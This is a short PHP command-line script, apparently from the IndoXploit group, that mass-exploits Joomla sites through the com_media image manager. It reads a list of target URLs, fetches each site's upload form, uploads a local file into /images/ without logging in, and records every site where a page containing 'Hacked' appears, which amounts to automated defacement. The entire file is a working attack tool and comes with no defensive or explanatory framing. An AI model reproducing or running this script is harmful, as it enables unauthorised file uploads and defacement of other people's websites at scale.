<?php
// Tu5b0l3d -IndoXploit-
// http://blog.indoxploit.or.id/2016/05/auto-exploiter-commedia.html
error_reporting(0);
function save($aso){
$fp = @fopen("aq.htm", "a") or die("cant open file");
fwrite($fp, $aso);
fclose($fp);
}
if($argv[1] != ""){
$nama = $argv[1];
$buka=fopen("$nama","r");
$size=filesize("$nama");
$baca=fread($buka,$size);
$sites = explode("<br>", $baca);
$file = "sht.txt";
foreach($sites as $sitesn){
$site = parse_url($sitesn, PHP_URL_HOST);
$urlq = "http://$site";
echo "$urlq\n";
$ch4 = curl_init ("$urlq/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=");
curl_setopt ($ch4, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch4, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch4, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch4, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch4, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch4, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch4, CURLOPT_COOKIEFILE,'coker_log');
$data = curl_exec ($ch4);
curl_close($ch4);
preg_match("/<form action=\"(.*?)\" id=\"uploadForm\"/", $data, $action);
preg_match("/name=\"return-url\" value=\"(.*?)\"/", $data, $return);
$action = $action[1];
echo "$action\n";
echo "$return[1]\n";
$post = array("Filedata[]" => "@$file",
"return-url" => "$return[1]",
);
$ch2 = curl_init ("$action");
curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch2, CURLOPT_POST, 1);
curl_setopt ($ch2, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
$data2 = curl_exec ($ch2);
curl_close($ch2);
$a = file_get_contents("$urlq/images/$file");
if(preg_match("/Hacked/i", $a)){
echo "Ok\n$urlq/images/$file\n\n";
save("<a href='$urlq/images/$file'>$urlq/images/$file</a><br>");
}
else{
echo "NO\n\n";
}
}
}
else{
echo "usage php $argv[0] target.txt\n\n";
}
?>
